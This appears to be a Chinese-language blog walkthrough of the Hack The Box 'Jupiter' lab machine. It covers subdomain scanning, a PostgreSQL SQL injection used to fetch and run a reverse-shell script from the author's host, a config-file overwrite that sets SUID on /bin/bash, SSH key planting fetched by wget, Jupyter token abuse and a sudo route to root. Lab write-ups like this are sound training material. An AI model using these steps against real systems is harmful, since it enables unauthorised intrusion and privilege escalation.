整体步骤
结合步骤1.信息收集加确定目标。2.发现漏洞。3.漏洞利用getshell。4.提权 5.总结、
1.信息收集
给定ip 10.10.11.216,使用nmap进行端口探测 namp -sC sV 10.10.11.216
访问80端口,进行目标爆破等方式,发现啥都没有。这个域名估计无法拿下,试试扫子域名
gobuster vhost -u http://jupiter.htb --append-domain -w subdomain.txt -t 100 进行爆破
这两个域名都需要配置到/etc/hosts上面去,进行访问
尝试了目录爆破,发现有一个登入框,尝试了sql注入,弱口令等方式,发现不能突破,用burp抓包看看
2.发现漏洞
发现发送了很多的请求,一个个的查看,发现一个包很有意思
这个地方应该是存在sql注入的,显示了数据库是postgreSql,直接到https://book.hacktricks.xyz/welcome/readme上面找到反弹shell的payload,然后堆上payload,
3.getshell
简单说来就是去请求到我本地文件3.sh并且执行,我里面写入的是一句话反弹shell到本地,然后本地开启监听的端口8888
成功拿到shell,进行信息收集,传入脚本pspy64s进行查看当前存在那些进程
等着等着发现了uid=1000(juno)运行了一个脚本 shadow-simulation.sh (估计是用来模拟网络用的)而且估计是定时任务然后紧接着 删除了 /dev/shm/shadow.data
然后通过shadow 命令 加上/dev/shm/network-simulation.yml作为参数
查看一下配置文件
这个配置文件看起来就像是,服务端启动一个开在 80端口web服务,然后客户端去请求这个web服务
path 的参数的 位置感觉像是 执行的二进制文件的绝对路径
args 自然就是参数
尝试执行chmod +s /bin/bash 的命令 给bash带上suid
现在的思路就是在运行的配置文件里面写入shell,进行拿到juno的权限,在本地创建一个配置文件
4.提权
在tmp新创建一个目录 mkdir caicai,然后将本地的yml文件下载到这个地方
chmod 777 /tmp/caicai/ 给定可读可写可执行权限,然后cp /tmp/caicai/network-simulation.yml /dev/shm/ 覆盖之前存在的配置文件
成功拿到juno的权限,进行写入ssh密钥,免密登入,在本地产生公钥
然后将caicai.pub下载到服务器当中 wget://http://10.10.14.40:80/caicai.pub
cp /tmp/caicai/caicai.pub /home/juno/.ssh/authorized_keys 复制到用户目录下面
成功免密登入,进行信息枚举,查看所属的组类型 id
find / -group science 2>/dev/null
发现jupyter日志,这应该是运行了jupyter程序,查看一下运行的端口
netstat -lntp 8888端口被占用,他是jupyter的默认端口
进行端口转发 ssh -L 8888:127.0.0.1:8888 [email protected] caicai
果然是jup程序,但是需要进行token进行登入,到jupyter里面的日志进行查看
然后输入成功登入,发现可以执行命令
执行成功拿到权限
开始提权,进入到jovian目录下
jovian@jupiter:/usr/local/bin$ sudo -l Matching Defaults entries for jovian on jupiter: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty User jovian may run the following commands on jupiter: (ALL) NOPASSWD: /usr/local/bin/sattrack
直接运行拿到root
5.总结
这个靶机总体来说难道中等,常规的收集信息手段,收集到子域名后,进一步收集信息,通过Postgresql 拿到Postgresql用户的shell,通过查看进程信息,来进一步获取juno的权限,接着通过juno所在的组,获取到jovian的权限,最后成功拿到root
原文始发于微信公众号(菜菜sec):HTB靶场Jupiter通关笔记,超推荐
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论